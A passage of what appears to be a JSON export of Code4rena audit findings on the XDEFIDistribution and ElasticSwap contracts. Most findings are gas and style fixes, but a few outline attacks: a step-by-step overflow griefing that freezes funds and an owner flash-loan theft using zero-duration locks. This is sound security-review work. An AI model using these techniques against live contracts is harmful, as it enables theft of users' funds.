due to some supplementary checks (ISZERO, 3 gas) - In this case here, if `quoteTokenQtyToReturn == internalBalances.quoteTokenReserveQty`: `internalBalances.quoteTokenReserveQty = 0` should be used - Avoiding the else clause would avoid some opcodes (1 SUB = 3 gas, 2 MLOADs = 6 gas...) The code would become: ``` File: Exchange.sol 225: if (quoteTokenQtyToReturn >= internalBalances.quoteTokenReserveQty) { 226: internalBalances.quoteTokenReserveQty = 0; 227: } else { 228: internalBalances.quoteTokenReserveQty -= quoteTokenQtyToReturn; 229: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use the non-strict greater-than operator in this particular case "}, {"title": "Gas: `ExchangeFactory.feeAddress()` should be declared external", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Public functions that are never called by the contract should be declared external to save gas. ## Proof of Concept Instances include: ``` File: ExchangeFactory.sol 81: function feeAddress() public view virtual override returns (address) { 82: return feeAddress_; 83: } ``` ## Tools Used Slither ## Recommended Mitigation Steps Change the visibility to `external` "}, {"title": "Use of Similar variable names", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-elasticswap-findings", "body": "Use of Similar variable names"}, {"title": "Event for merge", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/197", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle 0xsanson # Vulnerability details Not an issue. I noticed that the `merge` function doesn't have an event associated with it. Depending on the kind of offchain analysis/tools you will end up using, an event here may turn up useful to know which NFTs got merged together into a new one. ## Recommended Mitigation Steps Add an event which contains `uint256[] memory tokenIds_` and `tokenId_`. "}, {"title": "Improper event declaration", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/196", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Czar102 # Vulnerability details ## Impact Proper event declaration eases off-chain monitoring. ## Proof of Concept In the case of qualitative variables, it is recommended to use `indexed` keyword. Despite the `uint duration` argument seems to be a quantitative one, it is limited to few values, which specify the \"locking mode\". ## Recommended Mitigation Steps `uint duration` variable should be considered qualitative and be marked `indexed` in the following events: ``` event LockPeriodSet(uint256 duration, uint8 bonusMultiplier); event LockPositionCreated(uint256 indexed tokenId, address indexed owner, uint256 amount, uint256 duration); ``` "}, {"title": "\"Safe\" ERC20 functions for XDEFI?", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/194", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact Throughout the code the safe functions `safeTransfer` and `safeTransferFrom` are used when dealing with XDEFI. Isn't this token a standard ERC20? I believe the normal ERC20 transfer functions can be used. The advantage is gaining some 100s gas otherwise spent in unneeded logic. ## Proof of Concept grep safeT *.sol ## Recommended Mitigation Steps Consider removing the SafeERC20 library. "}, {"title": "Possible profitability manipulations", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/193", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Czar102 # Vulnerability details ## Impact An owner of the contract may, by ordering their or others' locking transactions, significantly increase or decrease `bonusMultiplier` for some set of transactions. So, by mining a single block, an owner can lower other's bonus multipliers, execute locking transactions and then restore bonus multipliers. A user might send a locking transaction in a similar time as an owner lowers the multipliers, resulting in lowering the revenue against data presented to the user. An owner can also pass ownership to a contract that will change bonus multipliers and lock funds with a very high bonus multiplier, then restore previous multipliers' state not to let others do the same. This way, the owner can gain an unfair advantage over others. ## Recommended Mitigation Steps Use a timelock for `setLockPeriods(...)` function and require passing `bonusMultiplier` in locking functions, revert if they are different from the state variables. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Adding unchecked directive can save gas"}, {"title": "No option to unlock funds before set duration", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/183", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact If a user locks funds in the contract, they can only withdraw funds by calling functions that in turn call the `_unlock()` function. The `_unlock()` function requires the position to have block.timestamp >= position.expiry. If there is a problem with the contract, with the XDEFI ERC20 token, or a user changes their mind and wants their funds back, they do not have this option. This can be more problematic with very long lock duration values. ## Proof of Concept There is a hard requirement that block.timestamp >= uint256(expiry) for any position before it can be unlocked and the funds released. All code paths that allow a use to withdraw their XDEFI rely on the `_unlock()` function: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L305 ## Recommended Mitigation Steps Different options exist to assist users with this issue. One would be to keep lock duration values small, especially when the contract is first released to users. Another is to add an emergency withdrawal function that has the onlyOwner modifier, such as using OpenZeppelin's Pausable module: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol "}, {"title": "Unnecessary require statement", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/179", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact There is a require statement that contains the comment \"Throw convenient error if trying to re-lock more than was unlocked. `amountUnlocked_ - lockAmount_` would have reverted below anyway.\" This comment is correct that the require statement is unnecessary and removing saves on gas during relock functions. ## Proof of Concept The unnecessary require statement is in the `relock()` and `relockBatch()` functions of XDEFIDistribution.sol: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L115 https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L170 ## Recommended Mitigation Steps Remove the unnecessary require statement to save gas "}, {"title": "Wrong revert message", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/171", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Czar102 # Vulnerability details ## Impact Wrong revert messages might lead to confusion. ## Proof of Concept In line 52 of XDEFIDistribution, the reason for a fail of a reentrant call is `\"LOCKED\"`. In DeFi, it usually means that contract's functionality is temporarily limited. This is not true in this case. ## Recommended Mitigation Steps Consider changing the revert string to `\"REENTRY_NOT_ALLOWED\"`. "}, {"title": "Malicious early user/attacker can malfunction the contract and even freeze users' funds in edge cases", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/156", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L151-L151 ```solidity _pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached); ``` In the current implementation, `_pointsPerUnit` can be changed in `updateDistribution()` which can be called by anyone. A malicious early user can `lock()` with only `1 wei` of XDEFI and makes `_pointsPerUnit` to be very large, causing future users not to be able to `lock()` and/or `unlock()` anymore due to overflow in arithmetic related to `_pointsMultiplier`. As a result, the contract can be malfunctioning and even freeze users' funds in edge cases. ### PoC Given: - bonusMultiplierOf[30 days] = 100 1. Alice `lock()` `1 wei` of XDEFI for 30 days as the first user of the contract. Got `1` units, and `totalUnits` now is `1`; 2. Alice sends `170141183460469 wei` of `XDEFI` to the contract and calls `updateDistribution()`: ```solidity _pointsPerUnit += ((170141183460469 * 2**128) / 1); ``` 3. Bob tries to `lock()` `1,100,000 * 1e18` of `XDEFI` for 30 days, the tx will fail, as `_pointsPerUnit * units` overlows; 4. Bob `lock()` `1,000,000 * 1e18` of `XDEFI` for 30 days; 5. The rewarder sends `250,000 * 1e18` of `XDEFI` to the contract and calls `updateDistribution()`: ```solidity _pointsPerUnit += ((250_000 * 1e18 * 2**128) / (1_000_000 * 1e18 + 1)); ``` 6. 30 days later, Bob tries to call `unlock()`, the tx will fail, as `_pointsPerUnit * units` overflows. ### Recomandation Uniswap v2 solved a similar problem by sending the first 1000 lp tokens to the zero address. The same solution should work here, i.e., on constructor set an initial amount (like 1e8) for `totalUnits` https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L39-L44 ```solidity constructor (address XDEFI_, string memory baseURI_, uint256 zeroDurationPointBase_) ERC721(\"Locked XDEFI\", \"lXDEFI\") { require((XDEFI = XDEFI_) != address(0), \"INVALID_TOKEN\"); owner = msg.sender; baseURI = baseURI_; _zeroDurationPointBase = zeroDurationPointBase_; totalUnits = 100_000_000; } ``` "}, {"title": "`XDEFIDistribution.sol#_updateXDEFIBalance()` Avoiding unnecessary storage writes can save gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle WatchPug # Vulnerability details Storage writes (`SSTORE`) to `distributableXDEFI` may not be needed when `previousDistributableXDEFI == currentDistributableXDEFI`, therefore the code can be reorganized to save gas from unnecessary storage writes. https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L330-L336 ```solidity function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); } ``` ### Recommendation Change to: ```solidity function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; newFundsTokenBalance_ = _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); if (newFundsTokenBalance_ != 0) { distributableXDEFI = currentDistributableXDEFI; } } ``` "}, {"title": "Unsafe type casting", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Unsafe type casting"}, {"title": "`_zeroDurationPointBase` can potentially be exploited to get more scores", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/139", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle WatchPug # Vulnerability details `_zeroDurationPointBase` can be set at deploy time so that locks with 0 duration can get scores. However, if the value of `_zeroDurationPointBase` is being set high enough. It can potentially be exploited by repeatedly lock(), and unlock() with 0 duration to get scores. This can get amplified with flashloans. https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L245-L247 ```solidity function _getPoints(uint256 amount_, uint256 duration_) internal view returns (uint256 points_) { return amount_ * (duration_ + _zeroDurationPointBase); } ``` ## Recommendation Consider changing `_zeroDurationPointBase` to a constant of value `1`. "}, {"title": "Avoid inline code for better readibility", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Avoid inline code for better readibility"}, {"title": "Implicit casts should be explicit as per the global code style", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/129", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Code clarity / code style ## Proof of Concept At the following places, the casts are implicit, whereas the project's style hints at explicit casts everywhere : https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L255 https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L269 https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L314 ## Tools Used VS Code ## Recommended Mitigation Steps Use explicit casts everywhere for unsigned integers, as it's the practice everywhere else "}, {"title": "&& operator can use more gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle rfa # Vulnerability details ## Impact more expensive gas usage ## Proof of Concept instead of using operator && on single require check (XDEFIDistribution.sol line 255). using double require check can save more gas: require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, \"INVALID_AMOUNT\"); ## Tools Used ## Recommended Mitigation Steps require(amount_ != uint256(0), \"INVALID_AMOUNT\" ); require(amount_ <= MAX_TOTAL_XDEFI_SUPPLY, \"INVALID_AMOUNT\"); "}, {"title": "`XDEFIDistribution.sol#relock()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L120-L125 ```solidity=120 uint256 withdrawAmount = amountUnlocked_ - lockAmount_; if (withdrawAmount != uint256(0)) { // Send the excess XDEFI to the destination, if needed. SafeERC20.safeTransfer(IERC20(XDEFI), destination_, withdrawAmount); } ``` https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L175-L180 ```solidity=175 uint256 withdrawAmount = amountUnlocked_ - lockAmount_; if (withdrawAmount != uint256(0)) { // Send the excess XDEFI to the destination, if needed. SafeERC20.safeTransfer(IERC20(XDEFI), destination_, withdrawAmount); } ``` ### Recommendation Change to: ```solidity if (amountUnlocked_ > lockAmount_) { SafeERC20.safeTransfer(IERC20(XDEFI), destination_, amountUnlocked_ - lockAmount_); } ``` - Removed a local variable: `withdrawAmount`; - Only do the arithmetic when needed: `amountUnlocked_ - lockAmount_`. "}, {"title": "Gas optimization in XDEFIDistribution.sol - shifting instead of multiplying or dividing by power of 2", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle OriDabush # Vulnerability details ## XDEFIDistribution.sol lines 151, 338-344 Instead of multiplying by _pointsMultiplier, which is 2 ** 128, it is more efficient to shift by 128 (x * (2 ** 128) = x << 128), same for dividing (x / (2 ** 128) = x >> 128) ```sol // line 151 - old _pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached); // line 151 - new _pointsPerUnit += ((newXDEFI << 128) / totalUnitsCached); // lines 338-344 - old return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); // lines 338-344 - new return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) >> 128 ) + uint256(depositedXDEFI_); ``` "}, {"title": "Gas optimization in XDEFIDistribution.sol - inlining some functions", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Gas optimization in XDEFIDistribution.sol - inlining some functions"}, {"title": "Gas optimization in XDEFIDistribution.sol - variable that is not used", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle OriDabush # Vulnerability details ## XDEFIDistribution.sol line 332 The \"currentDistributableXDEFI\" variable is not used (can use distributableXDEFI instead). ```sol // function before: function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); } // function after: function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(distributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); } ``` "}, {"title": "Sub-optimal calls should be allowed instead of reverted as resending the transaction will cost more gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, when `_unlockBatch()` is called with `tokenIds_.length == 1`, the transaction will be reverted with an error `USE_UNLOCK`. Even though it's sub-optimal to use `relockBatch()` and `unlockBatch()` for only 1 tokenId, reverting and requiring the user to resend the transaction to another method still costs more gas than allowing it. Therefore, we sugguest not to revert in `_unlockBatch()` when `tokenIds_.length == 1`. https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L320-L328 ```solidity=320 function _unlockBatch(address account_, uint256[] memory tokenIds_) internal returns (uint256 amountUnlocked_) { uint256 count = tokenIds_.length; require(count > uint256(1), \"USE_UNLOCK\"); // Handle the unlock for each position and accumulate the unlocked amount. for (uint256 i; i < count; ++i) { amountUnlocked_ += _unlock(account_, tokenIds_[i]); } } ``` ### Recommendation Change to: ```solidity function _unlockBatch(address account_, uint256[] memory tokenIds_) internal returns (uint256 amountUnlocked_) { uint256 count = tokenIds_.length; require(count > 0, \"NO_TOKEN_IDS\"); // Handle the unlock for each position and accumulate the unlocked amount. for (uint256 i; i < count; ++i) { amountUnlocked_ += _unlock(account_, tokenIds_[i]); } } ``` "}, {"title": "Constants are not explicitly declared", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/115", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Constants are not explicitly declared"}, {"title": "gas optimization", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Fitraldys # Vulnerability details ## Impact expensive gas, because in the line https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistributionHelper.sol#L23, the tokenids.length is save to a new variable to be used in the for loop, instead of call tokenids.length directly in the for loop ## Proof of Concept ``` pragma solidity =0.8.7; contract pikir { function putar1 (uint256 [] memory tokenIds) external view returns(uint256) { uint256 alltokens = tokenIds.length; uint256 hasil; for (uint256 i; i < alltokens; ++i){ hasil += 1; } return hasil; } } //24714 gas contract pikir2 { function putar1 (uint256 [] memory tokenIds) external view returns(uint256) { uint256 hasil; for (uint256 i; i < tokenIds.length; ++i){ hasil += 1; } return hasil; } } //24710 gas ``` ## Tools Used remix "}, {"title": "Field bonusMultiplier of struct Position can be removed", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle wuwe1 # Vulnerability details ## Proof of Concept In contract `XDEFIDistribution`, the only use of `bonusMultiplier` is to calculate `units` in `_lock`. In contract `XDEFIDistributionHelper`, `bonusMultiplier` is used for return value. However, `bonusMultiplier` can be calculated by `units * 100 / depositedXDEFI`. "}, {"title": "XDEFIDistribution: _unlock function should only be called with tokenId_ parameter", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "XDEFIDistribution: _unlock function should only be called with tokenId_ parameter"}, {"title": "Less than 256 uints are not gas efficient", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Less than 256 uints are not gas efficient"}, {"title": "in function setLockPeriods, multiplier can be set to lower than 100", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Tomio # Vulnerability details ## Impact in function setLockPeriods multiplier can be set to lower than 100 which will break the calculation when dividing the multiplier in function _lock https://github.com/XDeFi-tech/xdefi-distribution/blob/master/contracts/XDEFIDistribution.sol#L268. If the amount times bonus multiplier below 100 the units value will be 0, therefore the totalUnits won't be added but the positionOf[tokenId_] bill be added. ## Proof of Concept https://github.com/XDeFi-tech/xdefi-distribution/blob/master/contracts/XDEFIDistribution.sol#L77 https://github.com/XDeFi-tech/xdefi-distribution/blob/master/contracts/XDEFIDistribution.sol#L268 ## Tools Used ## Recommended Mitigation Steps in function setLockPeriods need to be add ```function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { uint256 count = durations_.length; for (uint256 i; i < count; ++i) { require(multipliers >= 100); //added uint256 duration = durations_[i]; require(duration <= uint256(18250 days), \"INVALID_DURATION\"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); } } ``` "}, {"title": "`> 0 can be replaced with != 0 for gas optimization`", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "`> 0 can be replaced with != 0 for gas optimization`"}, {"title": "`pointCorrection` can be stored in a uint256 rather than int256 to save gas from casting.", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Extra gas costs from unnecessary casting. ## Proof of Concept `pointsCorrection` is stored as a int256 variable. https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/interfaces/IXDEFIDistribution.sol#L15 However we can see that this variable is always negative (`_pointsPerUnit` and `units` are both positive) https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L277 The only usage of `pointsCorrection` is in the `_withdrawableGiven` function as shown below. https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L341-L342 ``` ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); ``` `pointsCorrection` is set to `_pointsPerUnit * uint256(units_)` when locking and `_pointsPerUnit` only increases so we can safely store `pointsCorrection as a positive uint256 (note this is an assumption of the original code as well) and simplify the above expression. ``` // notice the sign change before `pointsCorrection_` (_pointsPerUnit * uint256(units_) - pointsCorrection_) / _pointsMultiplier + uint256(depositedXDEFI_); ``` We can then remove a significant amount of casting along with the associated costs. ## Recommended Mitigation Steps store `pointsCorrection` in a uint256 and subtract rather than add. "}, {"title": "Various Non-Conformance to Solidity naming conventions", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Solidity defines a naming convention that should be followed. ## Proof of Concept ``` Variable XDEFIDistribution.MAX_TOTAL_XDEFI_SUPPLY (contracts/XDEFIDistribution.sol#14) is not in mixedCase Constant XDEFIDistribution._pointsMultiplier (contracts/XDEFIDistribution.sol#17) is not in UPPER_CASE_WITH_UNDERSCORES Variable XDEFIDistribution._pointsPerUnit (contracts/XDEFIDistribution.sol#18) is not in mixedCase Variable XDEFIDistribution.XDEFI (contracts/XDEFIDistribution.sol#20) is not in mixedCase Variable XDEFIDistribution._zeroDurationPointBase (contracts/XDEFIDistribution.sol#30) is not in mixedCase Variable XDEFIDistribution._locked (contracts/XDEFIDistribution.sol#37) is not in mixedCase Function IXDEFIDistribution.XDEFI() (contracts/interfaces/IXDEFIDistribution.sol#37) is not in mixedCase ``` ## Tools Used Slither ## Recommended Mitigation Steps Follow the Solidity naming convention: https://docs.soliditylang.org/en/v0.4.25/style-guide.html#naming-conventions "}, {"title": "Gas Optimization: Tight variable packing in `XDEFIDistribution.sol`", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Gas Optimization: Tight variable packing in `XDEFIDistribution.sol`"}, {"title": "Owner can steal XDEFI without any capital risk", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle onewayfunction # Vulnerability details ## Impact The owner of the `XDEFIDistribution` contract can use flash loans to atomically steal XDEFI from the contract without taking on any capital risk. ## Proof of Concept In my previous submission, \"Anyone can steal XDEFI from the `XDEFIDistribution` contract and make the contract insolvent\", I showed how any user can use the `onERC721Received` hook of the `_safeMint` function to steal XDEFI tokens from the contract and generally bork the contract's accounting. The attacker in that case took on some risk proportional to the minimum allowable `duration` and was limited in the amount they could steal based on their own capital available (how much XDEFI they had to use during the malicious lockup). However, when a similar attack is performed by the `owner` of the `XDEFIDistribution` contract, it can be done (1) without the owner taking on any risk at all and (2) the owner can use flashloans to dramatically increase the amount of XDEFI they can steal. In particular, the owner can perform all of the following in a single transaction (or in a single flashbots bundle): First, the owner can call the [`setLockPeriods` function](https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L77) to allow `0` duration locks with a large `multiplier`. Next, they can flash borrow as much XDEFI as possible from DEXs and loaning platforms. Call this amount of XDEFI `X`. Then they do a (normal) `0` duration lock with `X/2` XDEFI. This could give them a large proportion of locked XDEFI. Next, they do the \"malicious lock\" technique that I previously reported, using the remaining `X/2` XDEFI. This means that their first lock with be able to withdraw more than `X/2` XDEFI when they unlock. Then, in the same transaction -- which is possible because they are using a `0` duration lock -- they can unlock both thier first \"normal\" lock, as well as their \"malicious\" lock, giving them more than `X` XDEFI in total. They can repay the flash loan, and keep the difference. Since the never have to hold a lock for any positive duration, and never even have to have any exposure to XDEFI, the attack is risk free for them. And since they can use flash loans, they'll likely have access to dramatically more capital than a non-owner (who can't use flash loans) could. ## Recommended Mitigation Steps In addition to the \"use `_mint()` instead of `_safeMint()`\" suggestion from the previous submission, I also recommend adding a `require(duration > 0, \"INVALID_DURATION\");` statement just above [L82](https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L82). Not only will disallowing `0` duration locks prevent most flashloan shenanigans by the owner, it would also help prevent sandwich attacks that steal incoming distributableX DEFI tokens by sandwiching such incoming txs with a `lock` and `unlock` transaction. "}, {"title": "Gas: avoid unnecessary SSTORE on `proposeOwnership`", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Gas: avoid unnecessary SSTORE on `proposeOwnership`"}, {"title": "Gas: `XDEFIDistribution.sol`'s `withdrawAmount` substraction can be unchecked", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Waste of gas due to unnecessary underflow checks ## Proof of Concept On `XDEFIDistribution.sol:120` and `XDEFIDistribution.sol:175`, you can find the following substraction: `uint256 withdrawAmount = amountUnlocked_ - lockAmount_;` However, as the Solidity version is 0.8.10, default overflow and underflow checks are made, which cost some gas. You can save this gas with the `unchecked` keyword to bypass these checks as 5 lines above (L115 and L170), a `require` statement already checks that `lockAmount_ <= amountUnlocked_`. Therefore, no underflow is possible. ## Tools Used VS Code ## Recommended Mitigation Steps Use the \"unchecked\" keyword "}, {"title": "XDEFIDistribution: lock should be reused in lockWithPermit", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In [lockWithPermit](https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L99), we use the same code to transfer XDEFI and lock the position than in [lock](https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L92-96). We can create an internal function to reuse this code and avoid duplication. ## Proof of Concept Create an internal function called `_lockPosition` that will transfer XDEFI and lock the position. This 